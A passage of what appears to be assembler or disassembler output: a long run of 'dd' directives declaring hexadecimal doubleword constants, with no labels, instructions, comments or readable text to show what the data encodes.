0C8B6F97Ch, 0C008088h, 0DBCEE6B3h dd 0EAD06B15h, 40B42E58h, 99B005Dh, 559C96BBh, 0AF63A500h dd 1ADEC17Eh, 0A26C0640h, 8BA1E02h, 9D7D0700h, 39704404h dd 8CB6A0A3h, 2E7600B5h, 0BF5B01F6h, 80187BA2h, 5F30AEDEh dd 3224072Dh, 0E3444F1Ch, 0ECE0A856h, 20C33938h, 7E7A57BFh dd 920D0008h, 95BAAF2Fh, 41C3ED3Ch, 60555h, 0F5C0A520h dd 0DC66B1C9h, 21C55200h, 1E39193Dh, 1CA1D4AEh, 826F140Fh dd 0EA8E7FC9h, 0D1D43DABh, 4804313Bh, 0A98C67B4h, 0F2399587h dd 1A917F60h, 13B9FBh, 6E21C0E2h, 0D89AC6DDh, 0CB9B5206h dd 3048BF1Ch, 0B43145F2h, 4807FA74h, 75FD104Fh, 89180D61h dd 0E065EADBh, 0DC22FC02h, 0D31F4A70h, 0F48D808Ch, 0CCD1308Ch dd 8282693Ch, 24132808h dd 252F20A2h, 0ACF6EEA8h, 0DB206751h, 0D6E02100h, 8D56A6BDh dd 0DB2D0092h, 24E35397h, 0C83E6704h, 0EEFF0A37h, 2788B829h dd 5D86BB76h, 11CCA056h, 74A1A20Ah, 850010F2h, 512D5836h dd 0F75F05B4h, 814A1B5h, 1B810DD4h, 0EFCE0A25h, 4021883h dd 997CA592h, 0E2A38200h, 0E7530516h, 0B8CB5214h, 0F0ED1871h dd 8141515Fh, 30443E41h, 0DCFA2001h, 0ECC4072h, 2108601Ah dd 25B28865h, 0D41EE273h, 555F90F6h, 1CCC54h, 983C7E3Eh dd 3A5D0DAFh, 0D451286Ah, 0A06122FFh, 0A3ECD800h, 8149B540h dd 0FA37B8D7h, 264C002Fh, 0C2D587B4h, 950AE539h, 0A0C6F804h dd 4DD86798h, 0D8C1099Dh, 38131FABh, 0FB923DC1h, 3311480h dd 26687000h, 279BE211h, 0FA731DBh, 53AD51F8h, 8313AB0h dd 0AED299A3h, 67A7FC00h, 0C3CD1602h, 408A1FB9h, 0C2DF8650h dd 12FA021h, 21B2C0AFh, 10886D60h, 920457B6h, 0C8223C94h dd 0A712B300h, 93216DBCh, 85089E1Dh, 4F40B718h, 0A18D4CC8h dd 0C8A32414h, 2205F984h, 72A821ACh, 3718D0C3h, 0B1D210Fh dd 5697815Ah, 2BD405D7h, 5C1A3068h, 0E1AE4F39h, 672A1E09h dd 77E0113Bh, 1139B987h, 1BDF41AAh, 0DCABD9ACh, 79005392h dd 5A7EE767h, 6025121h, 6B5FF282h, 249198A2h, 21E3398Eh dd 0AD1E794Ah, 0B0D3A180h, 34A351F8h, 39102600h, 49D0752Bh dd 2400900Eh, 497430A0h, 4AC05D08h, 0EF0A63E0h, 47886CF0h dd 0E112A500h, 474E28Fh, 0C9B800BCh, 0ADF17E57h, 49C67C24h dd 0F15919h, 0D168955Fh, 0F5B7F4FCh, 0D320C401h, 53A4702Fh dd 14C99730h, 0BCA202A9h, 70809637h, 0FAB2A93h, 0E0A268EEh dd 2C9008B2h, 49588D6Ah, 0FD851ED0h, 628893C3h, 0EB81223Fh dd 0FF63F31Eh, 0E0CEABC0h, 0CC977EDh, 0A41E7D15h, 0F0B5F649h dd 0A05EE12h, 0DF8E3D26h, 68B61E8Ch, 3DBCFC4Ch, 4DB3A008h dd 0F8BA6789h, 10119C9Bh, 191878B9h, 0EC528155h, 0E96E0B19h dd 74488F51h, 29ED601Ah, 21205DF9h, 9E4EC000h, 0CE3F2C1Eh dd 0B6623F0Eh, 0D581AD81h, 86148C41h, 0A82A6631h, 0DCBB4C89h dd 0BD81AC81h, 5F10840Fh, 789006B0h, 3F9534h, 6258A638h dd 0E2278D96h, 0F6586960h, 401F7106h, 0A10707A5h, 0EA27C590h dd 0A73025C9h, 2DECC031h, 3C4CD425h, 0BC0B003Eh, 0AA481183h dd 0C8999C89h, 77C58286h, 41B90031h, 0A7170401h, 7C04F55Fh dd 30AA9AABh, 545CDC88h, 0A5B66C7Fh, 0E38183A8h, 1ED83111h dd 451930Dh, 0AC80444h, 9F0C8924h, 8655C45Fh, 1FE482F0h dd 75008C44h, 0DFE5FF62h, 3E17327h, 0EDC161B7h, 0E811A972h dd 1C484353h, 5A298BC0h, 2500164Ah, 9ED17841h, 64DD667Dh dd 405EA92Fh, 82E8D938h, 45E00071h, 9E542F39h, 8C091DDCh dd 91330DF6h, 91A409F8h, 14850830h, 3E0F54A2h, 0E37C1AF6h dd 98FFC3B5h, 2E0A8B06h, 400C56E9h, 389B7217h, 16F73C05h dd 0C043AF95h, 7BDB719h, 8AF58848h, 7C51C0B5h, 0CA1FB6BAh dd 55854CE0h, 0F431FBECh, 91A642F2h, 52870080h, 120F013h dd 64AF5500h, 4AF2C884h, 52D3EC2Eh, 0A00D873h, 0B660958Fh dd 6A4804F9h, 1CF783B0h, 44AC9A93h, 0ABEF014Ch, 7ED80E5Bh dd 72845066h, 0EC9802F7h, 4C399660h, 430368h, 10CA0A4h dd 6E1D529Bh, 77ADA100h, 0BE091FBDh, 3FE0B1E7h, 9C984CA2h dd 0D110EA42h, 0C44F00AEh, 0A1FBCDB7h, 40851252h, 0B0104A41h dd 8F2C40F0h, 7207F70Fh, 5A97CA42h, 0D380C615h, 18E9ADBCh dd 705C952Bh, 0A9C0A71Eh, 6D5489E5h, 17711783h, 0DAD860EDh dd 590758BDh, 85246AC7h, 8EB07C90h, 9C235254h, 212D4501h dd 240EE230h, 2288A368h, 68064D32h, 0C0CC39C0h, 4D139A29h dd 0B905424Ch, 48427916h, 0C06BBF0Eh, 0BAE1A05Bh, 10F4A040h dd 0CF08C438h, 523C8111h, 50811550h, 99168AD4h, 0C1ADBB17h dd 8FD06827h, 642FE9ACh, 988A104Eh, 18E935BCh, 11876F41h dd 89B78E85h, 3EA0302Ch, 0FBF8008Bh, 850A3C3Bh, 565490C2h dd 7707C888h, 8301B554h, 7B102579h, 380E2284h, 0F47616F7h dd 30C8D379h, 79AAA3F8h, 0E16129C0h, 3D7DEECFh, 0AC8A30D1h dd 1684A125h, 0A0782014h, 73E90CB3h, 60EF34C4h, 6280D427h dd 0BA56A9A6h, 42F8909Ch, 0BDB7105Eh, 33ED9200h, 0CB6BDA94h dd 1F87B58h, 0FB7DAFFAh, 7073EC42h, 0BC00F22Eh, 831D241Eh dd 0C0709EF3h, 0FD467C90h, 0C4B3A278h, 1582B083h, 0D30BA0B7h dd 3F3E139Bh, 2C5D0066h, 836234D8h, 888AE829h, 0F887AD81h dd 0AFD10EDFh, 99F2C024h, 0B617C8h, 962AF5D5h, 556DB1B9h dd 0A841FE18h, 0B117763Fh, 63ACA157h, 9CAC7734h, 0CA20225Dh dd 2040BC57h, 7A045ECh, 0F8C45305h, 0F0228B09h, 0A4A30357h dd 410044F2h, 0AE6DC592h, 76DDD859h, 51EB0E3Fh, 8C633339h dd 80ACB46Eh, 8F84188h, 9938EC88h, 9E8790A0h, 24B6826h dd 67FB0h, 0BD2EB0ABh, 80942A1Ch, 6FE56D85h, 247C8C22h dd 0C3B7C07Ah, 930B7735h, 9982F4D0h, 3FBF2B4h, 0AC1E0329h dd 25C85D10h, 0F47616D3h, 56147009h, 84DC38FAh, 66AA008Eh dd 0D6DB8A5Ah, 12E2AEAh, 67CEE0B9h, 55C4C1F8h, 0B8BC88h dd 649018E2h, 0A187C8ECh, 282EEC99h, 1D8D9A80h, 5D7F2669h dd 0C25A5CB3h, 0E0C457B9h, 12C604A8h, 0A714400h, 5FF7DC5Eh dd 676494A8h, 877A10E4h, 841C802Ah, 67803CD1h, 69641841h dd 566E24FBh, 0E114FF8h, 95956D7Bh, 52FC08Ch, 0DB50AAh dd 0DF5E605Ah, 8BD97FCEh, 0F83EA126h, 0F0F30A40h, 52F40521h dd 0C468920Dh, 0C038B2F8h, 2E1E62EFh, 42223CBBh, 0A3DD7701h dd 0E8FE0C88h, 5C9389A5h, 93AD3C08h, 0F254633Ah, 74C05EC4h dd 0AFDECA3Ch, 1DAD1CB2h, 0A3F24963h, 0A043CC38h, 0F4017D00h dd 0DF7CBC56h, 636813D2h, 2F004411h, 0A4EA2379h, 0B8E0C24Fh dd 0EE3F50F7h, 1E196063h, 37D900AFh, 0CF294766h, 521446C1h dd 5C7E468h, 0C54B8514h, 14418088h, 0FB18A5FDh, 5837400h dd 4F25AE55h, 0F88BE516h, 2A247704h, 0BEC50D0h, 91849104h dd 516F7C12h, 40449420h, 80009730h, 0E8A33DE7h, 0A4A964h dd 8890FA4Ch, 271AD561h, 0EB52415h, 938610F4h, 47EBF8A0h dd 4468FF00h, 9059AC2h, 49B90848h, 19126795h, 0BB587090h dd 2E1A0186h, 0C3AD5C34h, 0E14BE910h, 91C1A559h, 6C3DA300h dd 10B95E32h, 0D91EBD80h, 16004342h, 0ED8C037Dh, 5AB856Eh dd 0B03211AEh, 0F87082E0h, 0D4BA6C58h, 0AC835101h, 0ADB8F787h dd 0CC4EE2h, 0C3B76237h, 0BC87796Ch, 940F404h, 9C8806CCh dd 4E84FEB4h, 1C44401Fh, 0BEB870FAh, 7BA76D16h, 71B71022h dd 3C801314h, 0C98C8350h, 0F4E8F251h, 4A01AA08h, 98B3C170h dd 198133FEh, 8F89E694h, 88C50B1h, 49C1011Ah, 0C25BFCE4h dd 0C4CCF17Bh, 0E801E5D4h, 0E6454D35h, 0AC62B5DDh, 47EF0178h dd 14583F6Eh, 43190168h, 7D234980h, 8CFD443Ch, 807EAF00h dd 0F673E3E8h, 0E6A116A6h, 5978BC12h, 18782270h, 0F6A7FCE9h dd 0EB02A57Eh, 0F62A19E1h, 0DC7137h, 9A42F7CCh, 0D42CF183h dd 893AFC85h, 0E6A85E6Eh, 0A36003Ch, 780382FCh, 0AFECD7C4h dd 3948B70Ch, 0A8B6205Ah, 70ED0AE8h, 0DFDA02C3h, 69037AADh dd 69577469h, 0AF370084h, 6C9C91D3h, 303802D1h, 0C8078A5Dh dd 850030D1h, 19F9110h, 37EC7F6Dh, 0F041CC79h, 71F772ABh dd 5314D812h, 230FA021h, 68E048h, 65CB45B3h, 34C693F3h dd 0AE0DA300h, 8A8DB0C3h dd 49E1D66Fh, 88447B80h, 953E5F3Eh, 7D1057BCh, 2EC7BE04h dd 0E8887518h, 3AAD4409h, 3F1922h, 4696A161h, 219C44AAh dd 6C10E0B9h, 27713F80h, 0B6252467h, 0E748A01Ah, 756F376h dd 0F617122Eh, 97F950E1h, 9F05D5C5h, 0D5067B1h, 0BC21A425h dd 0BAE5A931h, 74FB9DCh, 511DC4E3h, 0A084C0C2h, 0C9E01250h dd 22649D49h, 0CE860433h, 0D5ECFA04h, 0C1DC88CCh, 34C81494h dd 48378683h, 2E54F8B5h, 0EDE70511h, 800FD462h, 7EB96555h dd 0BC6A5726h, 0ED01FD89h, 0B6788058h, 2AAE5837h, 8018853Fh dd 0C8FD3AFFh, 4C945FCCh, 0CC441F73h, 50DF5580h, 19C5203Dh dd 0B9A04008h, 0F52E1BA0h, 1E520C03h, 0CEDEA99h, 428C4181h dd 0A0096729h, 101E39E9h, 0F62E3334h, 0AF261F29h, 12D79ECBh dd 961071D6h, 9FC02C04h, 7B75F622h, 62A4263Eh, 0F0806918h dd 0F8A02EDBh, 7B925894h, 26ECE09Ch, 6F3C370Ah, 88BB1991h dd 0CEE2B9F9h, 0C2340078h, 7A54AFE8h, 0B20115CAh, 2CC1232Fh dd 0C380494h, 3893FF80h, 0FDED9C17h, 1537D099h, 47E3E700h dd 0EA160A49h, 56F826E5h, 90104014h, 59029953h, 0E7C1744Ah dd 7EC7341h, 0B37635DAh, 86F3A412h, 0C030B04Eh, 0C03124EDh dd 2B38E781h, 0AD09355Bh, 4632907Ch, 60B65AE4h, 0AD4431D0h dd 0B7C5AB00h, 8ECA133Fh, 662601B2h, 59802B94h, 0FCCC2548h dd 0E4A40683h, 4B172A78h, 0C89428A8h, 0A0127CE6h, 0ED0CABBh dd 0E01FFC20h, 9B86B246h, 3E5E091Bh, 9018676Ch, 4F4838A7h dd 0D65C159Bh, 0C0B4FD8h, 0D5189019h, 6E3100FEh, 9F928087h dd 2D009469h, 890B25ECh, 4801AF77h, 305B4097h, 9691593Ch dd 0BAF94227h, 0CA4C84DCh, 0C7259CB3h, 1361BC20h, 0FAE6EBECh dd 5C338B0Bh, 0E0DC8006h, 0BA6C950h, 4F8FB8CAh, 0F846AC29h dd 0BADC8A41h, 60FE3Eh, 75C2283Dh, 0B3454EDDh, 1D41B43Ah dd 4F852CFEh, 6C80DA0Ah, 1801BF6h, 42BF7EEAh, 9F289D45h dd 5E9DBD29h, 66CDAA03h, 7642C00Ah, 0F0B0417Eh, 9C6A1DDh dd 0F8304006h, 0C1BC0089h, 85D27780h, 0C00E6DEh, 0CD4F7465h dd 7B9E6E7Eh, 0CA2710EEh, 82706010h, 0F105FF39h, 0A0D5D1F0h dd 0C6783C0Ch, 614B5989h, 0B682E106h, 330B933h, 4E6D9AA2h dd 0F0044068h, 0D0AAB4B0h, 46339D04h, 11C8C9BDh, 7CF627CCh dd 0B55968A0h, 0DF271884h, 3A6B2105h, 405C3E30h, 0DCD0A2h dd 0D2F12E38h, 6497C1DFh, 0AA80A654h, 3072BB22h, 4C419598h dd 0C606E080h, 501BD81Ah, 183E7C80h, 999A555Eh, 0A100E4F8h dd 0E80406B8h, 1590E0Ah, 422E1869h, 0EC16888Ch, 0AC0CDD45h dd 71D004CAh, 41276048h, 540C8230h, 7907300h, 0E63C789Ch dd 88961431h, 0DD1E7C05h, 0A81101AEh, 256B5149h, 89DCF408h dd 8D18228h, 7459DA18h, 0EE5776C9h, 8A2F004Fh, 2A507806h dd 440C16B8h, 814E556Bh, 26310082h, 809E01CBh, 0F102380Eh dd 0B7CCFF74h, 96C4A6ADh, 0AC542A51h, 0F14818B4h, 0A4634044h dd 39C4FC00h, 2F095C32h, 299301A8h, 6926CEB1h, 6D5C2040h dd 944700E9h, 12EC7F52h, 0C832D9h, 0D00FFA26h, 2E074BE7h dd 7E0D8707h, 0E0AD9131h, 0FD256CE0h, 423818BCh, 4DD2C781h dd 42B58380h, 7F218F10h, 39808591h, 414718E7h, 0B80ABBAEh dd 24116DF5h, 95A14130h, 30866310h, 85F86720h, 3900DE99h dd 7721E289h, 602F56F0h, 6C0351D4h, 68021D75h, 9EF3604Ch dd 65E02008h, 0C1019706h, 1573E622h, 90889360h, 6C858790h dd 5404E12Dh, 115893A3h, 0AC613090h, 47C12D69h, 21809531h dd 74DFA98Dh, 7200814Eh, 6C7338ABh, 0C6F4BFAh, 4C0EF9A5h dd 60309ED0h, 0F167710Fh, 9AD00372h, 6AB54D05h, 868C9111h dd 0BC6D0F08h, 8D441180h, 1D394256h, 2EC6596h, 127ADAA2h dd 1CC08DACh, 1C916F9h, 169140B4h, 41090A9Bh, 0B918E63Ch dd 21220330h, 18179DF7h, 0D19A9E10h, 7300C0A1h, 0BD5C126Dh dd 71B8D2h, 58F9B6D4h, 0EAA97BFBh, 9E3029D8h, 7E39C0A3h dd 0E2ED2216h, 0BAA719C8h, 2B0F8F00h, 5B2DE3F9h, 810DAC39h dd 0C1D620A1h, 0C18861DEh, 7F898F22h, 1E143389h, 3EB60F20h dd 951183BEh, 9B6201DAh, 10870126h, 2302BF9h, 0E730E4Ah dd 860A3A9Eh, 23E512ACh, 5EC48D5Ch, 67B37746h, 19952A10h dd 92170E90h, 554F8C75h, 0B4AEC2C0h, 9A039693h, 4331B0ECh dd 0F22818A8h, 554C496Ah, 0FFE22C2Ch, 0C05DF60Eh, 0F3648F81h dd 0ED9C0038h, 91A6DBDCh, 64A9150Eh, 92400076h, 0F79D1966h dd 61108106h, 219C14E8h, 528385D4h, 0EAE0158Ch, 37ECBB4Dh dd 0D5145200h, 6592C42Bh, 21D7005Eh, 4C0D89F0h, 6077F358h dd 0DB690A0Ah, 0A829744Dh, 0C6B909h, 4A36F64Bh, 96870046h dd 71C21AC1h, 0F0A8E4F0h, 12220D40h, 488548D4h, 8FA81780h dd 74172ED1h, 14007D22h, 2D23DCEEh, 5E941C6Eh, 438C1266h dd 15F99EE4h, 0D8F2E11Dh, 94D10020h, 85670E46h, 6900E638h dd 0D0526B2Fh, 241C8D8Eh, 9124DC3Bh, 98600A5h, 35AAB974h dd 0B60E2477h, 0C22283A4h, 5900DFEFh, 0CD80301Ch, 3995FBh dd 7EFF86E8h, 8EF584E5h, 993CDD02h, 0A1E65FEAh, 0EC905BB8h dd 0A6E9E00h, 0F4A39491h, 59101580h, 1D2E90FAh, 42AFB3Bh dd 0D285D30Fh, 992C866Ch, 87F0A87Bh, 8A393A6Dh, 3A037F03h dd 613CCC9Ah, 13DDBE13h, 10434B49h, 0B0C56C0Dh, 0CE0C55E2h dd 0A0076781h, 0FF10140h, 1728D47Eh, 902A31DFh, 89C44h dd 9E4EF55h, 2A517333h, 0AAE7A13Ah, 380194B8h, 165835C1h dd 0B19D0E94h, 0C318C0B4h, 5DDC1C42h, 35EC737Bh, 0B1AF512h dd 0B11BCC44h, 40DA9544h, 3DAF2EB3h, 736A0052h, 863B8D06h dd 607D9835h, 9F30D5B0h, 1E1799A2h, 0EB9901BCh, 40641267h dd 122033E5h, 702070E7h, 8A562Eh, 466C1393h, 3677407Bh dd 1841F500h, 0CE2F55A8h, 9A117944h, 8952A98h, 0D53A3AD8h dd 0A3307086h, 3922B96Bh, 0F2E110ECh, 0D7007C81h, 0C6DA57FBh dd 53B6170h, 6C38B71Ah, 4B944A9Bh, 0CA2646A8h, 0BDA4F400h dd 1668AFACh, 6F6E183Eh, 0B9F859B5h, 0B3CA4900h, 0EB4688B2h dd 2C180260h, 0D70272Dh, 4E13E048h, 6491EDECh, 413B9E0Dh dd 14306AE1h, 7EA200D2h, 0D06655DDh, 0E1C1E384h, 0B51310E1h dd 20B43996h, 0BBCF3A74h, 0A0386012h, 8F016422h, 44375214h dd 82A7EFC2h, 2212FF3Ch, 88A069F2h, 7CAAD23Ah, 78B62124h dd 1F90ECC7h, 360F762h, 5EFDFE96h, 980B5AAAh, 1513640h dd 735397B8h, 6E704824h, 0B5E0D979h, 6F7635BAh, 0B1362007h dd 6402B029h, 35C447Dh, 38411622h, 91A178AEh, 0C903623h dd 0B9D5EC10h, 0EF420Dh, 0B7D3F3E8h, 1471BEh, 47051D7h dd 0DE27C76Ch, 0CB8C4D48h, 91B80EE7h, 22B97B02h, 34C16AEAh dd 0FC8C1486h, 0A33706C8h, 4A275EB2h, 0C9339C00h, 2CA59FD9h dd 0FDEE3443h, 0CA40C428h, 71AA30D4h, 1DD5670Dh, 6646DC18h dd 0ADFB605Ch, 25148475h, 84D87F76h, 0A148B6E5h, 4E09F86Ah dd 0F0029E4h, 44BDA8C0h, 0E2924083h, 9EA29h, 8D19159Fh dd 1327F5A7h, 85E6F202h, 60111E49h, 49E4407Ch, 0F2E8816h dd 48C4E810h, 0A63E88B8h, 11129CACh, 9951428h, 0C72A59E6h dd 6F064CA0h, 0CA0B70A0h, 10927FA6h, 180B77D8h, 1165EF4Ch dd 0F7013F71h, 4B20D228h, 8051BB6Bh, 7011D5EAh, 3C9980BDh dd 0A5AACD33h, 0DDCE0057h, 5610482Eh, 0E6E21F20h, 1294AB4Dh dd 950E8741h, 6D818076h dd 0B8302E54h, 5290A464h, 4570B47Dh, 6C099EB5h, 2F5868A6h dd 0AAF27Ch, 0DB807316h, 239E0A97h, 8EBA0802h, 0AE86E563h dd 0B0B708C8h, 38B97C68h, 8522D901h, 92917E18h, 1040F9A8h dd 1CCD82Fh, 7E140367h, 0A9952838h, 9458F83Bh, 0F3DAB5C0h dd 0D700D550h, 1E3335DCh, 38F25B0Bh, 8782FAF4h, 4E7A3846h dd 7844B844h, 0F0B0FDh, 1825B57h, 436FF29Ch, 5F885954h dd 0A542DA02h, 0A56B202Eh, 5088828Ch, 8F3E1E29h, 7498981h dd 8A3F3C10h, 0DA6B7AECh, 104C0AC1h, 1412F762h, 0B9D44104h dd 2013CF1Eh, 4D066680h, 0B4B19B09h, 6CDC8122h, 0C0488025h dd 0E30084D7h, 0B41B9470h, 12E3473h, 0CFDD1C69h, 88DEDA3Eh dd 0A623F479h, 6AAEBFFCh, 73ACE3E0h, 28095F88h, 31F92200h dd 0C17792F0h, 0CB8D09FEh, 0F4A083EDh, 813A1617h, 8FCEE0A0h dd 64188426h, 3DF7E853h, 0F93A008Bh, 99DEED44h, 6F41157Fh dd 90189090h, 505CC0E4h, 0CB4DECh, 0E59FC514h, 2085DEFBh dd 2697E448h, 0B48954A4h, 224C3178h, 924020D6h, 0F46D9D2Bh dd 78326028h, 9CD3D481h, 0CF26D1E1h, 0EC1B4111h, 6AF07824h dd 95443CFCh, 20804096h, 0E3FFB568h, 60CB0A6Eh, 81E4DDEFh dd 7A56D60Bh, 0E813DC26h, 0FD0E6200h, 0F2F5A105h, 5C0B49ECh dd 0EE6E6C00h, 0D77EA83Dh, 5D2C2048h, 94E5266Ch, 0B81120AEh dd 914E1601h, 0C0471794h, 1094CA9Fh, 8A07FC88h, 12300E76h dd 6DC8D024h, 741A0DE9h, 4169223Fh, 0EFCC43B5h, 95609631h dd 0E008091h, 2734F5ABh, 204468Ah, 8379CB12h, 861404h dd 0A326DCE7h, 70090382h, 3243729Eh, 9288C9DCh, 8225760h dd 471220B5h, 2F065D0Eh, 1814C573h, 0C4A618h, 83C2B3D8h dd 67C41FA8h, 98364905h, 0F048EC95h, 901849BDh, 0A87DB1B2h dd 3EC1577h, 2C446E48h, 0D4640067h, 270094CAh, 0E230111Fh dd 0F00C815h, 8B529299h, 0DDC91Ah, 4B871D06h, 0B2389DA0h dd 1062A096h, 13D85AE9h, 6161DC0Dh, 388F7F08h, 64258888h dd 5956190h, 4225299Fh, 2FCFF9EAh, 3F3AC48h, 0E73C8482h dd 36EF4D42h, 0B61FA070h, 0DB0306A1h, 0F0803ECEh, 3824AA98h dd 16A936AEh, 5FF101F0h, 97CDE9D3h, 10462211h, 2E89A99Eh dd 79B894Dh, 81905A13h, 0EB4FF773h, 0AF88A9E0h, 0F14CD914h dd 11F05DF8h, 0F2181F62h, 493DD1C2h, 1ED2331Fh, 9A2CA280h dd 11A6809h, 5659874Fh, 0EA3E5337h, 328584A5h, 187B2690h dd 0E46B8B43h, 0DF940156h, 22E5CA34h, 707493E4h, 0A2888Ch dd 7DDB41A1h, 0DD04595Fh, 8C318601h, 0D4301869h, 83BA7001h dd 472EA871h, 0F9EBA0D2h, 655726EAh, 0B5486048h, 15009066h dd 0D9B84DC4h, 2FFD289h, 6C247851h, 0E471E728h, 2E637681h dd 6C25A6D4h, 9B05F9F4h, 0C8B613BCh, 2A4E6C24h, 148ADC22h dd 0FF4E8498h, 80EF3C46h, 6E8F0021h, 42A1E877h, 0B70E2E06h dd 96645EEh, 0F998E950h, 0E878E073h, 1461E9ECh, 5D03442Dh dd 0AE597F9Eh, 0B860DA0h, 4E41B500h, 8CC81DA2h, 6120A094h dd 0AC700506h, 30A384AFh, 50860EB4h, 12876E00h, 543975EBh dd 4118014Dh, 67C02B59h, 3E8C484Bh, 7C50EC16h, 0E980A71Dh dd 8F414A6Bh, 0B52C0340h, 77F01CE6h, 7FE2D3A8h, 0B74234B8h dd 80142Ah, 5CCB6BB1h, 98D4ACE9h, 8B74CF3Fh, 5F9E8935h dd 9318B10Ah, 9CC213E5h, 8B014C84h, 16F8BB05h, 3891B4D5h dd 6E3B04BDh, 1CC8B89Bh, 35CA0EAh, 0AAC0092Eh, 70C83B9Eh dd 851AE682h, 64A109C3h, 833F00E8h, 0CB446B24h, 0F644113h dd 404093C8h, 6B6A333Eh, 9D9F0A18h, 39FC61h, 609CBD3h dd 0E3ECA92Bh, 0AFC51C02h, 0C01B9BA8h, 6D398919h, 2969A825h dd 597880D0h, 4F06422h, 0E29D8F03h, 0B924C055h, 2D00BB12h dd 5E643EFh, 7E5E387Dh, 0E280024Ch, 0DBD789E4h, 670048ECh dd 41AF6313h, 545F376Ah, 392CC30h, 76E2A712h, 10C0AB17h dd 0C1C59BECh, 4C120A9Eh, 0BBB79008h, 0DC36F03Ah, 6E275890h dd 3D24108Bh, 0BD90056h, 0FB592892h, 3002AEDCh, 151825F7h dd 5A8D109h, 59FC3h, 906B9299h, 0F902BF18h, 86B9717Ah dd 6FD0C0A3h, 0E7A8A993h, 7913020h, 3C7CFE15h, 684C027Eh dd 9FF3F8C1h, 77DF3820h, 6600A9ACh, 6AB6CCF9h, 40AC0B1Dh dd 4C689E60h, 2C7B98E3h, 0FD53D800h, 93865AD0h, 56143831h dd 0E1461605h, 5F9C8C6Ah, 0EFBE700h, 71066EA4h, 0A080529h dd 0C2F0AEE6h, 1A209D70h, 1C987A68h, 800340CCh, 0A4DB1F25h dd 0F900DA17h, 0D42F9EC5h, 0E4450D77h, 0B448FBE5h, 820A4436h dd 7E6D8007h, 9819B8A3h, 0AFD694h, 58F4D8Ah, 0D5153DACh dd 7974A148h, 0B19E2740h, 0B2230788h, 63611EAEh, 30CC57C9h dd 0AC00BD34h, 8E16375Bh, 26338147h, 40B8940Ch, 6C79434Fh dd 0DE2DD4E6h, 24CC0042h, 4EAA6A47h, 40B837E0h, 38E37F3Bh dd 0F88F9502h, 72EFAB63h, 627590h, 934892CBh, 2A03FE81h dd 0CD0BB009h, 0F8704B70h, 0F3850DFh, 0AED4EA8Eh, 9C7D3F00h dd 7772092Ah, 2966DE00h, 9340A3B6h, 61009438h, 0DF19B0Eh dd 0FF7E30FCh, 16863468h, 0E70C70DCh, 19DA8D7Fh, 28384E6Ch dd 85000370h, 0BA93BBF3h, 32231EBh, 5095B110h, 5BA09D84h dd 7B71EFF9h, 0B0AC1B14h, 961688D8h, 0CA348867h, 0EA71CC00h dd 0EC921F11h, 905F0B5Bh, 5C811638h, 8874ADCBh, 41057341h dd 897E1303h, 90941526h, 8853C0h, 172D98E2h, 8426BC3Bh dd 5D364300h, 7109F9ECh, 350D1993h, 11E1D87Bh, 0B862947Fh dd 493E5050h, 2862D40Ah, 7822EC26h, 4344E161h, 2B911C52h dd 41E7C804h, 0FE0592E5h, 9E3840C2h, 0B93363FCh, 0F84DE810h dd 2E26C0B8h, 17BBFA2h, 0D3093637h, 109E9DB1h, 38C1575Ch dd 56BC489Ah, 0CDEE04F8h, 8492741Dh, 0B2A4A4B8h, 0E4DEF601h dd 129427C1h, 0D287822h, 72830094h, 0D6CBC0EAh, 16F6C94Dh dd 0EFC8E004h, 7CC6BA52h, 934728A0h, 100844D4h, 0FB6EA22h dd 1689B7B5h, 16C4B08Ah, 4D18D89Dh, 6994FC00h, 1981A33h dd 0C521074Ch, 0CB7E18D9h, 246C6090h, 40F9ED60h, 289D2867h dd 22381F35h, 9C94A9EFh, 9F993E40h, 0D8CC004Eh, 0FBC1D5CDh dd 0F5396C8Fh, 7E239967h, 343D9529h, 6387C13Fh, 50F3A3CAh dd 22C45B1Ah, 0B67D2500h, 0E882E2D6h, 1270C2ECh, 0C8B8E741h dd 0F570FB4Fh, 4CC1C00h, 0E8B69A83h, 9B72C2Ch, 80AA0934h dd 10867049h, 46E3722h, 0F49E920Dh, 0CC8C535Ah, 0C57312B5h dd 2700C8C1h, 1E00C770h, 42A26326h, 5CD6E86Eh, 6C3E6BAEh dd 7F297631h, 4D42386h, 6D103663h, 253C08A2h, 609E8D0Bh dd 0C065CCE9h, 0EF3C4C4Fh, 0F7506F28h, 0D6054C90h, 7732036Ch dd 66BEACBBh, 76F5021h, 0E0E2279Eh, 91869D38h, 0A0941809h dd 6757823Ch, 24C40FBh, 777030FFh, 698C55A1h, 0CC24807Ch dd 601CDCE8h, 6A8B851Dh, 207F8E28h, 407E20C7h, 0D89335h dd 4A543774h, 9A00FCF7h, 60F41B4Eh, 1514FD99h, 5C7376B6h dd 4DED0900h, 333BC571h, 230F0B13h, 11B8A810h, 44708716h dd 0BB6070A6h, 8E4A92A1h, 0FA540025h, 2986F74Bh, 59C47059h dd 678146ADh, 98212AC5h, 199E8EF1h, 0BDBB002Eh, 3B9229F0h dd 0AA19F501h, 0E377432Fh, 981DCC33h, 0B62043A9h, 0CD88459Ah dd 7C0B9F7Fh, 7EA8C93h, 3EE0C509h, 4CD5914Ch, 6D820C19h dd 0EA228614h, 22182DA5h, 0D2941FD4h, 86113426h, 0E10D0F00h dd 7218E37Bh, 54CF8A16h dd 0A1936402h, 0A2D8C14Dh, 910AC010h, 0E23F7002h, 610CF4FAh dd 0A039EFD3h, 0B9212D01h, 507E50E6h, 7B782230h, 70A8E7E8h dd 5701C260h, 0A1EC0D7Ch, 0D1D82D39h, 47960904h, 51A5D440h dd 0F300C0B8h, 9494E8A0h, 1F68C0C7h, 40786E40h, 0CD972679h dd 839CF600h, 677706C2h, 9B7503BEh, 991C8027h, 0A0CCDDA0h dd 8303FC9Eh, 0EB933C14h, 0B8610170h, 389F96C5h, 5F48C067h dd 0A3C1B309h, 0E738997Fh, 6ADC302Bh, 5B514750h, 0B786C814h dd 0E0729E81h, 1A5FFB00h, 0FE5330C1h, 2A7A6A00h, 476DA3A4h dd 382395E8h, 19C03294h, 2C00856Ah, 92A61AB3h, 0D1C7B6h dd 5F9FDFC1h, 0D033ED7h, 6AC238h, 9C94E1ECh, 357FA0h, 3C40B8D3h dd 6AE62137h, 38B4173Bh, 10D4D807h, 820B934Ch, 4018116Ch dd 6F226E0Ch, 22F780B4h, 3777014Ch, 51945773h, 81483993h dd 60AF46Ch, 21D0C480h, 0E94C6F8Fh, 24310800h, 0A81A293Bh dd 9C1C9189h, 0CA76C0EAh, 0F99C7BDEh, 34B5FC07h, 22649D6Eh dd 4254B488h, 0A17F22D4h, 1AFCB11Ah, 13C1138Bh, 0BF00BA46h dd 0F94AE6F0h, 44E0B847h, 3A1403B8h, 2444E2h, 